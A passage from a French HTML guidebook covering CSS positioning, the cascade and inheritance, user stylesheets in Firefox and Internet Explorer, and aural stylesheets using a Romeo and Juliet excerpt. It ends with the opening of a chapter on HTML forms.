<P style="float: left">
<IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Deuxi&egrave;me &eacute;l&eacute;ment

318 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

<CODE>P</CODE><BR>
Le paragraphe est plac&eacute;e dans un cadre
flottant &agrave; gauche.<BR>
Ceci est un paragraphe de texte normal.
</UL>
</P>
<!-- Position relative -->
<P style="position: relative ; bottom: 10% left: 120px">
<IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Troisi&egrave;me &eacute;l&eacute;ment
<CODE>P</CODE><BR>
Le paragraphe est d&eacute;fini comme devant s’afficher
en haut et &agrave; droite de l’&eacute;
l&eacute;ment pr&eacute;c&eacute;dent.<BR>
Ceci est un paragraphe de texte normal.
</P>
<!-- Position absolue -->
<P style="position: fixed ; top: 10px ; left: 5px">
<IMG src="Images/coucher de [Link]"
type="image/gif" width="100px"
title="Un coucher de soleil sur le lac de Linciel">
Quatri&egrave;me &eacute;l&eacute;ment
<CODE>P</CODE><BR>
Le paragraphe s’affiche de façon absolue par rapport
à l’&agrave;cran.<BR>
Ceci est un paragraphe de texte normal.
</P>
</BODY>
</HTML>

En examinant ce fichier dans votre navigateur, vous observez quelque

chose d’analogue à la figure suivante : les quatre paragraphes sont
désormais répartis à l’écran dans un ordre différent de celui de leur
apparition dans le code.

Figure 8.18 :
Positionnements d’éléments

LE GUIDE COMPLET 319

 Chapitre 8 Feuilles de style

Analysons un peu ce qui se passe :

j Le premier paragraphe respecte le flux HTML normal. Il est entré
en dessous du titre, exactement comme dans la copie d’écran
précédente.
j Le second paragraphe est placé dans une boîte flottante
positionnée à gauche : il est retiré du flux normal.
j Le troisième paragraphe se voit attribuer une position relative par
rapport à l’élément précédent : légèrement plus haut et
franchement plus à droite.
j En revanche, le quatrième paragraphe se voit attribuer une
position absolue par rapport à l’écran : en haut et à gauche de
celui-ci.

Le dernier paragraphe est particulièrement intéressant. Pour vous en

convaincre, réduisez la largeur de la fenêtre de votre navigateur, et
faites, si nécessaire et possible, défiler la fenêtre : le quatrième
paragraphe se déplace en conséquence et occupe toujours le même
emplacement à l’écran !

Figure 8.19 :
Un élément positionné
de façon absolue
occupe toujours la
même position à
l’écran

Cet exemple devrait vous ouvrir un certain nombre de possibilités. Tout

d’abord, plus besoin de tableaux, puisque vous pouvez définir
l’emplacement d’un élément en fonction de l’élément précédent.
Ensuite, un élément défini en position absolue (par exemple en haut à
gauche) peut constituer un magnifique logo, toujours affiché au même
emplacement, même lorsque l’utilisateur fait défiler une page…

Remarquez toutefois que ces types de positionnement peuvent amener

un « recouvrement » des différents éléments, ce qui n’est guère

320 LE GUIDE COMPLET

 Propriétés de feuille de style Chapitre 8

souhaitable. Heureusement, comme vous allez le voir, il existe des

moyens de pallier ce problème…

Regardons de plus près les différentes propriétés mises en œuvre lors du

positionnement d’éléments.

La propriété float spécifie qu’une boîte doit être flottante à gauche, à

droite ou pas du tout. Elle peut être spécifiée pour tout élément, mais ne
s’applique qu’aux éléments qui ne sont pas positionnés de façon
absolue.

La propriété clear (non employée dans cet exemple) indique quels

côtés d’une boîte d’élément ne peuvent pas être adjacents à une boîte
flottante antérieure. Elle ne concerne pas les éventuels éléments flottants
à l’intérieur de l’élément concerné ou dans d’autres contextes de mise en
forme. C’est un espacement au-dessus de la marge supérieure d’un
élément, qui sert à « pousser » verticalement l’élément au-delà de la
boîte flottante, généralement vers le bas.

La propriété position détermine si la position d’un élément est

absolute, relative ou static. Sa valeur par défaut est static, ce
qui signifie que l’élément apparaît selon son chargement, en principe
selon sa place dans le code source. Une position absolute signifie que
la position de l’élément est fixe par rapport au coin supérieur gauche du
médium (généralement l’écran). Comme nous l’avons signalé, un
élément doté de ce type de position peut recouvrir un autre élément,
puisqu’il est retiré du flux normal.

Si la propriété position possède comme valeur relative, l’élément

sera placé en fonction de son parent ou de son voisin. Si l’élément
parent a recours à une position absolute, alors l’élément relative
apparaîtra à la suite de celui-ci et pourra également recouvrir d’autres
éléments : il est lui aussi retiré du flux normal.

Les propriétés left et top définissent l’endroit où l’élément doit être

placé par rapport aux côtés de l’écran (ou, dans le cas d’un élément
enfant, aux côtés de l’élément parent). Les valeurs sont exprimées en
points ou en pourcentage.

Pour gérer les possibles recouvrements, servez-vous de la propriété

z−index. Elle permet de contrôler l’élément devant apparaître au-
dessus d’un autre en cas de recouvrement de positions absolues : un peu
comme les couches d’un programme de dessin.

LE GUIDE COMPLET 321

 Chapitre 8 Feuilles de style

clip définit un rognage de l’élément, tandis que visibility permet

d’établir si l’élément est visible ou non. Un élément visibility:
hidden occupe son espace, mais n’est pas visible à l’écran.

Ces propriétés, leurs valeurs et leurs buts sont présentés dans le tableau
suivant.

Tableau 8.4 : Propriétés CSS de positionnement des éléments

Propriété Valeur Exemple Effet

float left, right, none float: Place l’élément dans un
ou inherit left rectangle flottant sur la
gauche

position absolute, position: Place l’élément à l’écran

relative, static absolute sans tenir compte des
autres éléments de la
page

top longueur ou top: Place l’élément à dix

pourcentage 10pt points du haut du
document ou de
l’élément parent

left longueur ou left: Place l’élément à quinze

pourcentage 15pt point de la gauche du
document ou de
l’élément parent

clip shape clip: Rogne cinq pixels du

(top−value, rect (5 haut et du bas, et dix
right−value, 10 5 10) pixels sur les côtés.
bottom−value,
left−value)
overflow visible, overflow: Attribue à l’élément une
hidden, auto, scroll barre de défilement, qu’il
scroll en ait besoin ou non.

z−index Entier z−index: Place d’abord le premier

1 élément et empile
dessus les suivants

clear none, left, right, Clear: La boîte est décalée de

both ou inherit left l’espace nécessaire pour
placer le bord de la
bordure supérieure en
dessous du bord
inférieur de toute boîte
flottante due à un
élément antérieur dans
le document source.

322 LE GUIDE COMPLET

 Feuille de style en cascade Chapitre 8

Une mise en œuvre efficace de ces propriétés demande souvent pas mal
de tâtonnements. Le résultat est toutefois souvent à la hauteur des efforts
engagés… Souvenez-vous que nous avions dit que les feuilles de style
représentaient un aspect avancé de HTML : vous en avez ici une preuve.

8.6. Feuille de style en cascade

Les langages de feuille de style en cascade, tel que CSS, autorisent
l’assemblage des informations de style provenant de plusieurs sources.
Pour définir une cascade, l’auteur spécifie une succession d’éléments
LINK et/ou STYLE. Les informations de style se répandent en cascade
selon l’ordre d’apparition des éléments dans la section HEAD.

Gare aux mélanges…

La spécification HTML 4.01 ne précise pas la manière dont cascadent
les feuilles de style issues de différents langages de style. Mieux vaut
éviter de mélanger les langages de feuilles de style.

La cascade peut inclure des feuilles de style qui concernent différents

médias. Les éléments LINK et STYLE peuvent tous deux être utilisés
avec l’attribut media. L’agent utilisateur est alors responsable de
l’élimination des feuilles de style qui ne s’appliquent pas au médium
courant.

Cette notion de « cascade » semble alors poser quelques problèmes :

comment l’agent utilisateur sait-il quelle feuille de style doit être
appliquée ? Pour le cas d’un médium de sortie, la chose est claire, mais
nous avons vu qu’il pouvait exister plusieurs feuilles de style en cascade
(une ou plusieurs feuilles externes, des éléments STYLE et des attributs
style). Cela nous amène à la notion d’héritage.

Cascade et héritage
Lorsqu’un agent utilisateur veut restituer un document, il doit identifier
les valeurs des propriétés de style : la famille de police, le style de la
police, la taille, la hauteur de ligne, la couleur du texte, etc. Le
mécanisme exact dépend du langage de feuille de style, mais la
description qui suit est généralement applicable.

LE GUIDE COMPLET 323

 Chapitre 8 Feuilles de style

Le mécanisme de cascade est utilisé quand un certain nombre de règles

de style s’appliquent toutes directement à un élément. Il permet à l’agent
utilisateur de classer les règles selon leur spécificité pour déterminer
celle qui est applicable. Si aucune règle n’est trouvée, l’étape suivante
va dépendre de la propriété de style : est-elle héritable ? Toutes ne le
sont pas. Le langage de feuille de style fournit alors des valeurs par
défaut, utilisées en l’absence de règle explicite pour un élément
particulier.

Si la propriété peut s’hériter, l’agent utilisateur examine l’élément

englobant immédiat pour voir si une règle s’y applique. Ce processus
continue jusqu’à l’identification d’une règle applicable. Ce mécanisme
autorise une spécification compacte des feuilles de style. Par exemple,
l’auteur peut spécifier le type d’alignement du texte pour tous les
éléments de BODY par une seule règle appliquée à l’élément BODY. C’est
ce que nous avions fait dans les fichiers [Link] et [Link] :
<BODY style="text-align: center">

Fondamentalement, tout élément inclus dans un autre hérite du style de

celui-ci, à moins que la feuille de style ne précise le contraire. Par
exemple, la plupart des éléments sont inclus dans l’élément BODY. Si
celui-ci est défini comme devant comporter du texte centré de couleur
bleue, tous les éléments de BODY possèderont un texte bleu centré.
Même si un élément particulier, comme H, est également défini dans la
feuille de style, il hérite des propriétés de BODY à moins que ses
propriétés color et background ne soient explicitement spécifiées
dans la feuille de style.

La théorie de l’héritage est donc très simple : vous partez de

l’information la plus externe (la feuille de style externe) et progressez
vers l’intérieur. Un élément inclus dans un autre élément hérite de ses
propriétés sauf s’il dispose d’un style modifiant tout ou partie de ces
propriétés. Une feuille de style externe est surpassée par une feuille
interne, elle-même dépassée par un style défini à l’intérieur de l’élément,
lui-même surpassé pour un élément enfant par un style défini dans
celui-ci.

Voici l’ordre d’héritage, par priorité croissante :

j Propriétés définies par l’utilisateur pour l’élément courant.
j Propriétés de feuille de style externe de l’élément parent.
j Propriétés de feuille de style locale de l’élément parent.

324 LE GUIDE COMPLET

 Feuille de style en cascade Chapitre 8

j Styles de ligne de l’élément parent.

j Propriétés de feuille de style externe de l’élément courant.
j Propriétés de feuille de style locale de l’élément courant.
j Styles de ligne de l’élément courant.

Vous voyez apparaître dans cette liste un élément « curieux » : la notion

de feuille de style définie par l’utilisateur. Vous l’avez probablement
déjà fait sans le savoir : il s’agit de la modification des propriétés de
votre agent utilisateur, par exemple de votre navigateur.

Prenons un exemple. Avec Firefox d’abord :

1 Ouvrez Firefox, puis chargez le fichier [Link] de votre site.
Vous devez voir votre familière page d’accueil.

Figure 8.20 : Page d’accueil de votre site

2 Choisissez dans la barre de menu Affichage > Style de la page >

Aucun style. Toute la mise en forme définie dans la feuille de
style disparaît.

Figure 8.21 :
Page d’accueil de votre site, sans
feuille de style.

LE GUIDE COMPLET 325

 Chapitre 8 Feuilles de style

Choisissez à nouveau Affichage > Style de la page puis

sélectionnez Style de base de la page pour retrouver un affichage
normal.
Vous avez ici ordonné à l’agent utilisateur d’ignorer toute feuille
de style. Vous pouvez toutefois agir sur la page d’autres façons.
3 Choisissez dans la barre de menu Affichage > Taille de texte > Plus
grande. Tout le contenu texte de la page voit sa taille de police
augmentée.

Figure 8.22 :
Page d’accueil de votre site,
avec augmentation de la
taille des polices.

L’effet est exactement identique à l’application générale de la propriété

font−size: larger. Vous pouvez augmenter à plusieurs reprises la
taille des polices, ou inversement la diminuer. Après avoir procédé à
quelques essais, choisissez Affichage > Taille de texte > Normale pour
retrouver un affichage normal.

Vous pouvez également agir sur la police par défaut, ainsi que sur la
couleur de divers éléments, en choisissant Outils > Options. Sélectionnez
Général et choisissez Couleurs et police.

Figure 8.23 :
Fenêtre couleurs et polices de Firefox

326 LE GUIDE COMPLET

 Feuille de style en cascade Chapitre 8

D’autres paramètres peuvent également être modifiés dans la section

Avancé des Options, comme le redimensionnement automatique des
images trop grandes pour l’affichage dans la fenêtre de navigation.

Des modifications similaires sont possibles avec Internet Explorer (à

partir de sa version 4) et celui-ci offre en outre la possibilité d’employer
une feuille de style personnalisée.
1 Ouvrez Internet Explorer, puis cliquez sur Outils > Options
Internet.
2 Dans l’onglet Général, cliquez sur le bouton Accessibilité.

Figure 8.24 :
Fenêtre Accessibilité d’Internet Explorer

3 Cochez la case à côté de l’option Mettre les documents en forme en

utilisant ma feuille de style, puis saisissez dans la boîte de dialogue
le chemin d’accès et le nom de la feuille.
4 Remarquez que, même sans définir de feuille de style personnelle,
vous pouvez décider dans cette fenêtre d’ignorer les spécifications
de couleur, de nom et de taille de polices des pages que vous
affichez.

Figure 8.25 :
Fenêtre permettant de définir
vos préférences, qui
outrepassent les
spécifications de style des
pages affichées.

5 Cliquez sur OK pour sortir de l’option Accessibilité. Les autres

boutons de la fenêtre Général permettent de spécifier les couleurs,
les polices et la langue.

LE GUIDE COMPLET 327

 Chapitre 8 Feuilles de style

Figure 8.26 :
Autre fenêtre.

Figure 8.27 :
Encore une autre.

Cliquez de nouveau sur OK pour enregistrer vos nouveaux

réglages des Options Internet.

L’écran affiche alors les pages en mêlant les feuilles de style de

l’utilisateur et celles du créateur du site.

8.7. Feuille de style auditive,

pour un public particulier
Comme nous l’avons signalé, vous pouvez définir plusieurs feuilles de
style, adaptées chacune aux caractéristiques du médium sur lequel le
document doit être restitué (par exemple : écran graphique, écran de
télévision, appareil de poche, navigateur à synthèse vocale, appareil
tactile braille, etc.).

Les feuilles de style disposent de plusieurs moyens pour présenter des

informations à des utilisateurs parcourant le Web à l’aide de navigateurs
non standard. Par exemple, certaines propriétés des feuilles de style

328 LE GUIDE COMPLET

 Feuille de style auditive, pour un public particulier Chapitre 8

permettent de définir la pagination, en cas d’impression de la page. De

façon similaire, le W3C a configuré plusieurs propriétés concernant des
périphériques auditifs ou audio.

Une feuille de style auditive peut être utilisée par un malvoyant, avec
des navigateurs mains libres ou des périphériques comparables texte-
parole. Outre permettre la présentation du contenu normal d’une page
Web, une feuille de style auditive autorise les concepteurs Web à avoir
recours à des effets sonores particuliers, comme des précisions, des
orateurs multiples ou des modifications d’intonation.

Voici un exemple de feuille de style possédant des propriétés auditives :

Listing 8-5 : [Link]
/* [Link] : Feuille de style à propriétés auditives */
BODY {color: #000000 ; background: #FFFFFF; text-align: left}
.direction {margin-left: 10%; font-family: monospace;
font-style: italic; color: #000080; speak: none}
[Link] {margin-left: 0px;}
.Capulet {speak: normal; voice-family: male}
.Lady_capulet {speak: normal; voice-family: female;
speech-rate: slow; richness: 40%; pitch: hight}
.Montague {speak: normal; voice-family: male; richness: 80%;
pitch: low}
.Lady_montague {speak: normal; voice-family: female;
speech-rate: slow}
.off {font-variant: small-caps; speak: normal;
voice-family: male; volume: 75%}

Remarquez l’emploi de classes (.direction, par exemple) sans

signalisation par un élément : le style défini s’applique alors à toutes les
instances de cette classe, quel que soit l’élément concerné. Comme nous
voulons supprimer l’indentation pour une indication de mise en scène en
ligne, nous avons spécifié une marge à 0 pour l’élément
[Link].

Cette feuille de style est liée au fichier suivant :

Listing 8-6 : [Link]
<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Hamlet de Shakespeare"</TITLE>
<META name="author" content="Fabrice Lemainque">
<META name="version" content="1.8.1">

LE GUIDE COMPLET 329

 Chapitre 8 Feuilles de style

<META http-equiv="Content-Style-Type" content="text/css">

<LINK rel="STYLESHEET" type="text/css" href="[Link]">
</HEAD>
<BODY>
<H1 align="center">Extrait de Rom&eacute;o et Juliette
de Shakespeare</H1>
<HR>
<DIV>
<SPAN class="off">Capulet. - </SPAN>
<SPAN class="Capulet">Quel est ce bruit ? ...
Hol&agrave; ! qu’on me donne ma grande
&eacute;p&eacute;e.</SPAN><BR>
<SPAN class="off">Lady Capulet. - </SPAN>
<SPAN class="Lady_capulet">Non, une b&eacute;quille !
une b&eacute;quille !.. Pourquoi demander une
&eacute;p&eacute;e ?</SPAN><BR>
<SPAN class="off">Capulet. - </SPAN>
<SPAN class="Capulet">Mon &eacute;p&eacute;e dis-je !
le vieux Montague arrive et brandit sa rapi&egrave;re
en me narguant !</SPAN><BR>
</DIV>
<P class="direction">Entrent Montague, l’&eacute;p&eacute;e
à la main, et Lady Montague.</P>
<DIV>
<SPAN class="off">Montague. - </SPAN>
<SPAN class="Montague">
A toi, mis&eacute;rable Capulet ! Ne me retenez pas !
L&acirc;chez-moi !</SPAN><BR>
<SPAN class="off">Lady Montague</SPAN>
<SPAN class="direction">
, le retenant</SPAN>
<SPAN class="off">. - </SPAN>
<SPAN class="Lady_montague">Tu ne feras pas un seul pas vers
ton ennemi.</SPAN>
</DIV>
<P class="direction">Entre le Prince Escalus, avec sa suite.
</P>
<HR>
<CITE>Rom&eacute;o et Juliette, Acte I Sc&agrave;ne I.
William Shakespeare,"Richard III, Rom&eacute;o et Juliette,
Hamlet", Trad. F-V Hugo. 1979, Ed. Garnier-Flammarion,
ISBN 2-08-070006-5, page 154.
</CITE>
<HR>
</BODY>
</HTML>

Affiché dans un navigateur, celui-ci offre un aspect tout à fait normal.

Avec un agent utilisateur texte-parole, les tirades sont prononcées à

l’aide des voix adéquates. Si toute la pièce était ainsi mise en forme

330 LE GUIDE COMPLET

 Feuille de style auditive, pour un public particulier Chapitre 8

dans un fichier HTML, il serait possible à tous les acteurs de répéter à

l’aide d’un ordinateur : il suffirait de désactiver la lecture des répliques
qui le concerne dans la feuille de style. Les autres répliques seraient
encore lues par l’agent utilisateur.

Figure 8.28 :
Aspect de l’extrait de
Roméo et Juliette

La propriété sonore la plus importante est speak. Pour désactiver

totalement la lecture vocale d’un élément, fixez sa valeur à none,
comme nous l’avons fait pour les indications de mise en scène :
.direction {margin-left: 10%; font-family: monospace;
font-style: italic; color: #000080; speak: none}

Cet élément ne sera pas lu (parlé), bien que cette propriété puisse être
ignorée par certains convertisseurs texte-parole. La valeur spell−out
permet aux mots concernés d’être épelés, la valeur normal
correspondant à un rendu vocal normal.

Dans de nombreux navigateurs texte-parole, les liens hypertextes sont

lus comme du texte ordinaire. Pour donner un indice sonore particulier
lorsque le navigateur atteint un lien hypertexte, servez-vous d’un signal
sonore grâce à la propriété cue. Par exemple :
cue: url("[Link]")

Vous pouvez placer l’indice avant ou après, à l’aide des propriétés

cue−before et cue−after.

Vous pouvez aussi facilement ajouter une courte pause avant ou après le
signal. Utilisez ainsi
pause: 20ms

pour créer une pause de vingt millisecondes avant et après l’élément.

Vous pouvez également avoir recours aux propriétés pause−before et

LE GUIDE COMPLET 331

 Chapitre 8 Feuilles de style

pause−after avec la même syntaxe. La propriété pause dispose d’un

raccourci :
pause: pause-before-value pause-after-value

Comme cela était mentionné plus haut, une feuille de style auditive
permet d’avoir recours à plusieurs orateurs. Les propriétés azimuth
(direction), elevation (hauteur) et voice−family permettent
d’ajouter des effets saisissants à votre page Web. Bien évidemment, ces
propriétés peuvent être ou non rendues correctement selon l’agent
utilisateur concerné, mais cette démarche ambitieuse est la première
étape vers un format Web audio utilisable de façon universelle.

Servez-vous de la propriété volume pour ajuster le niveau sonore rendu

par le programme. Une valeur silent impose au programme d’attendre
aussi longtemps qu’il l’aurait fallu pour lire le texte, mais sans que vous
n’entendiez rien : c’est ce qu’il faudrait employer pour faire répéter
l’acteur jouant Capulet, en modifiant comme suit son style :
.Capulet {speak: normal; voice-family: male; volume: silent}

Voici quelques autres moyens de modifier les propriétés de la voix :

pitch rend la voix plus aiguë ou plus grave, voice−family permet de
choisir entre une voix d’homme, de femme ou d’enfant, ou bien
d’utiliser une « police de voix » propre au navigateur. speech−rate
accélère ou ralentit le débit vocal, tandis que richness et stress
autorisent la modification de certains attributs de la voix elle-même.

Nous avons ici employé une unique feuille de style qui combinait
présentations visuelle et sonore. Il existe deux autres méthodes pour
mieux séparer les propriétés en fonction du périphérique de sortie.
N’oubliez pas que, chaque fois que vous répartissez des instructions en
catégories bien distinctes, vous facilitez d’autant la maintenance
ultérieure. La première méthode consiste à employer au sein d’un
unique fichier la règle @media :
Listing 8-7 : [Link]
/* [Link] : Feuille de style à propriétés visuelles
et auditives */
@media screen(
BODY {color: #000000 ; background: #FFFFFF; text-align: left}
.direction {margin-left: 10%; font-family: monospace;
font-style: italic; color: #000080}
[Link] {margin-left: 0px;}
.off {font-variant: small-caps}
)
@media speech (

332 LE GUIDE COMPLET

 Feuille de style auditive, pour un public particulier Chapitre 8

.direction {speak: none}

.Capulet {speak: normal; voice-family: male}
.Lady_capulet {speak: normal; voice-family: female;
speech-rate: slow; richness: 40%; pitch: hight}
.Montague {speak: normal; voice-family: male;
richness: 80%; pitch: low}
.Lady_montague {speak: normal; voice-family: female;
speech-rate: slow}
.off {speak: normal; voice-family: male; volume: 75%}
)

Il aurait également été possible de créer deux feuilles distinctes et de

recourir à un attribut media lors de la liaison de ces feuilles au fichier
concerné :
Listing 8-8 : [Link]
/* [Link] : Feuille de style à propriétés uniquement
visuelles */
BODY {color: #000000 ; background: #FFFFFF; text-align: left}
.direction {margin-left: 10%; font-family: monospace;
font-style: italic; color: #000080}
[Link] {margin-left: 0px;}
.off {font-variant: small-caps}

Listing 8-9 : [Link]

/* [Link] : Feuille de style à propriétés purement
auditives */
.direction {speak: none}
.Capulet {speak: normal; voice-family: male}
.Lady_capulet {speak: normal; voice-family: female;
speech-rate: slow; richness: 40%; pitch: hight}
.Montague {speak: normal; voice-family: male;
richness: 80%; pitch: low}
.Lady_montague {speak: normal; voice-family: female;
speech-rate: slow}
.off {speak: normal; voice-family: male; volume: 75%}

Vous liez alors ces deux feuilles de style au fichier [Link] à l’aide
des deux éléments LINK suivants, dotés d’un attribut media :
<LINK rel="STYLESHEET" type="text/css" href="[Link]"
media="screen">
<LINK rel="STYLESHEET" type="text/css" href="[Link]"
media="speech">

Nous avons examiné ici le cas d’une présentation à la fois visuelle et

auditive, mais vous pourriez faire de même pour une présentation en vue
d’une impression, ou pour distinguer une présentation sur écran
d’ordinateur d’une présentation à l’aide d’un vidéo-projecteur.

LE GUIDE COMPLET 333

 Chapitre 8 Feuilles de style

Pourquoi des différences entre impression, écran d’ordinateur

et vidéo-projection ?
Un écran d’ordinateur fonctionne par émission de lumière : celle-ci
provient soit de son tube cathodique, soit des cristaux liquides ou d’un
dispositif similaire. De ce fait, des pages plutôt claires avec un texte
sombre sont généralement préférables. Ce fait est encore plus flagrant
pour une impression, surtout en noir et blanc, pour laquelle il vaut mieux
réduire les surfaces sombres imprimées (pour des raisons d’économies
d’encre et de lisibilité).
C’est exactement le contraire avec un vidéo-projecteur ou un
rétroprojecteur, puisque les participants ne voient qu’une lumière réfléchie
par l’écran : des pages foncées avec un texte clair sont généralement
moins fatigantes et possèdent un impact supérieur. Inconvénient toutefois
pour des transparents de rétroprojection : vous consommez alors beaucoup
plus d’encre…

Figure 8.29 :
Une telle page est parfaite pour
un affichage écran ou une
impression

Figure 8.30 :
En revanche, cette version est
mieux adaptée à une
vidéo-projection.

334 LE GUIDE COMPLET

 Résumé Chapitre 8

En conclusion, les feuilles de style vous offrent un mécanisme d’une

rare puissance pour adapter parfaitement le contenu de vos pages et
documents Web au public visé. Leur étude complète dépasse largement
la portée de ce livre, puisque la spécification CSS2 est aussi, sinon plus
complexe que la spécification HTML 4.01.

8.8. Résumé
j La plupart des attributs et éléments relatifs à la mise en forme et
à la présentation des pages Web sont désormais déconseillés en
faveur du recours aux feuilles de style.
j La spécification HTML 4.01 ne lie pas HTML à un langage de
style particulier. Cela permet l’utilisation potentielle de plusieurs
langages. Le langage le plus fréquemment employé est CSS
(Cascading Style Sheet), fondé sur la Recommandation W3C CSS
2.1 ([Link] dans l’attente
de la diffusion finale de la version 3.
j Vous spécifiez le langage de feuille de style à l’aide d’un élément
META.
j Vous pouvez inclure des styles dans une page Web de trois façons
différentes :
à l’aide de l’attribut style, placé dans pratiquement dans
n’importe quel élément ;
à l’aide d’un élément STYLE placé dans l’élément HEAD, un
élément STYLE pouvant renfermer plusieurs définitions de
style ;
en créant une feuille de style externe, indépendante du
document HTML. Vous liez ensuite cette feuille externe à
votre document HTML à l’aide d’un élément LINK.
j Vous pouvez définir le style de toutes les occurrences d’un
élément, d’une classe spécifique ou d’un id spécifique. Ces
possibilités ne sont pas mutuellement exclusives.
j HTML permet aux auteurs de spécifier les documents exploitant
les caractéristiques du médium sur lequel le document doit être
restitué (par exemple : écran graphique, écran de télévision,
appareil de poche, navigateur à synthèse vocale, appareil tactile
braille, etc.). Cela est effectué à l’aide de l’attribut media de
l’élément STYLE.

LE GUIDE COMPLET 335

 Chapitre 8 Feuilles de style

j Le contenu de l’élément STYLE doit être masqué vis-à-vis des

agents utilisateurs qui ne reconnaissent pas les feuilles de style.
j Une feuille de style est un simple fichier texte qui indique à
l’agent utilisateur comment restituer votre code HTML. Les
feuilles de style externes emmènent HTML un pas plus avant dans
la séparation réussie des logiques de travail et de présentation. Un
nom de fichier de feuille de style se termine par une extension
.css.
j Une feuille de style externe peut être définie comme persistante,
préférée ou alternative.
j Outre les propriétés de modification des caractéristiques du texte
et des polices, CSS propose des propriétés de positionnement.
Celles-ci permettent de s’affranchir en partie ou en totalité du flux
normal du code HTML.
j Tout élément CSS se comporte comme une boîte dotée de
propriétés soit intrinsèques, soit relatives à un ou plusieurs autres
éléments ou au document.
j Les langages de feuille de style en cascade, tel que CSS,
autorisent l’assemblage des informations de style provenant de
plusieurs sources. Pour définir une cascade, l’auteur spécifie une
succession d’éléments LINK et/ou STYLE. Les informations de
style se répandent en cascade selon l’ordre d’apparition des
éléments dans la section HEAD.
j Un élément inclus dans un autre élément hérite de ses propriétés
sauf s’il dispose d’un style modifiant tout ou partie de ces
propriétés. Une feuille de style externe est surpassée par une
feuille interne, elle-même dépassée par un style défini à l’intérieur
de l’élément, lui-même surpassé pour un élément enfant par un
style défini dans celui-ci.
j Il est possible de paramétrer un agent utilisateur afin qu’il ignore
tout ou partie des feuilles de style prévues par l’auteur, et même
parfois d’appliquer sa propre feuille de style utilisateur.
j Une feuille de style à propriétés auditives est un exemple de
feuille de style adaptée aux caractéristiques du médium sur lequel
le document doit être restitué.

336 LE GUIDE COMPLET

 Formulaires

Constituants d’un formulaire ........................................................................................... 339

Formulaire et focus ............................................................................................................ 362
Commandes inactives et en lecture seule ................................................................... 368
Soumission du formulaire ................................................................................................ 370
Remarques à propos des formulaires ........................................................................... 375
Résumé ................................................................................................................................ 376
 Chapitre 9 Formulaires

Un formulaire constitue un moyen d’apporter un peu d’interactivité à

une page HTML. Il peut permettre de sélectionner une langue, une
feuille de style particulière, de personnaliser l’affichage (comme pour un
« Bienvenue votre_nom ») et bien d’autres choses encore.

Dès le prochain chapitre, quand vous en apprendrez plus sur les scripts,
les formulaires deviendront très importants. La plupart des scripts ont
recours à des formulaires pour ajouter du dynamisme à un site. Un script
peut valider le contenu d’un formulaire avant de le soumettre à un autre
script, ou même traiter la totalité du contenu sans recourir aux
ressources du serveur. Certains de ces scripts peuvent enregistrer des
informations dans un ou plusieurs cookies qui sont enregistrés sur
l’ordinateur de l’utilisateur, et non sur le serveur Web. Grâce aux scripts
et aux formulaires, vous pouvez créer de puissantes applications qui
réduisent le poids imposé aux ressources de votre serveur.

Un formulaire HTML est une partie du document constituée d’un

contenu normal, d’un balisage, mais surtout d’éléments spéciaux
étiquetés appelés commandes (cases à cocher, boutons d’option, menus,
etc.). L’utilisateur « remplit » généralement le formulaire en modifiant
ses commandes (en saisissant un texte, en sélectionnant les articles d’un
menu, etc.), avant de le soumettre à un agent pour traitement (par
exemple, à un serveur Web, à un serveur de messagerie, etc.).

Ce chapitre présente les principaux constituants des formulaires Web,

ainsi que la façon de les concevoir. Le Chapitre 10, consacré aux scripts,
traitera plus en détail de l’emploi de scripts pour traiter les informations
d’un formulaire.

Éléments et attributs étudiés :

FORM, action, method, name, id, enctype, accept-charset,
accept
LABEL, for
INPUT, type, checked, maxlength, notab, size, src,
tabindex, value
ISINDEX
BUTTON, name, value, type
SELECT, name, size, multiple, OPTION, label, value,
selected, OPTGROUP, label
TEXTAREA, name, rows, cols
LABEL, value, for
FIELSET, LEGEND, align
tabindex, accesskey, disabled, readonly
OBJECT

338 LE GUIDE COMPLET

 Constituants d’un formulaire Chapitre 9

9.1. Constituants d’un formulaire

Élément FORM
Voici un extrait de fichier qui crée un formulaire simple. Celui-ci
comprend des étiquettes ou libellés (labels), des boutons d’option et des
boutons de commande (pour réinitialiser le formulaire ou le soumettre) :
<FORM action="[Link]
method="post">
<P>
<LABEL for="prenom">Pr&eacute;nom : </LABEL>
<INPUT type="text" id="prenom"><BR>
<LABEL for="nom">Nom : </LABEL>
<INPUT type="text" id="nom"><BR>
<LABEL for="email">e-mail : </LABEL>
<INPUT type="text" id="email"><BR>
<INPUT type="radio" name="genre" value="homme"> Homme<BR>
<INPUT type="radio" name="genre" value="femme"> Femme<BR>
<INPUT type="submit" value="Envoyer"> <INPUT type="reset">
</P>
</FORM>

Affiché dans un navigateur, cet extrait de fichier affiche l’aspect présenté

dans la figure suivante.

Figure 9.1 :
Exemple de formulaire

Il est vrai que l’aspect n’est pas parfait, mais vous savez comment
l’améliorer si vous le voulez…

Vous créez un formulaire dans une page HTML à l’aide de l’élément

FORM. Ses balises d’ouverture et de fermeture sont obligatoires.

LE GUIDE COMPLET 339

 Chapitre 9 Formulaires

L’élément FORM agit comme conteneur général du formulaire,

notamment pour les commandes. Il spécifie :
j La disposition du formulaire (définie par le contenu de l’élément).
j Le programme qui va manipuler le formulaire rempli puis soumis.
Le programme récepteur doit être capable d’analyser les couples
nom/valeur afin de les utiliser.
j La méthode selon laquelle les données de l’utilisateur seront
envoyées au serveur.
j L’encodage de caractères qui doit être accepté par le serveur pour
manipuler ce formulaire. Les agents utilisateurs peuvent avertir
l’utilisateur de l’encodage accepté et/ou empêcher que celui-ci
n’entre des caractères non reconnus.

Un formulaire peut contenir un texte et un balisage (paragraphes, listes,

etc.) en plus de commandes. Il accomplit tout ceci à l’aide de plusieurs
attributs fondamentaux :
j L’attribut action spécifie l’agent chargé du traitement du
formulaire. Le comportement de l’agent utilisateur pour une
valeur autre qu’un URI http est indéfini.
j L’attribut method spécifie la méthode HTTP qui sera employée
pour soumettre le jeu des données de formulaire. Les valeurs
possibles (insensibles à la casse) sont get (la valeur par défaut) et
post. Nous reviendrons plus loin sur la signification de ces deux
méthodes.
j L’attribut name nomme l’élément pour qu’il puisse être appelé
par une feuille de style ou un script. Cet attribut est désormais
déconseillé : mieux vaut employer l’attribut id pour identifier les
éléments.
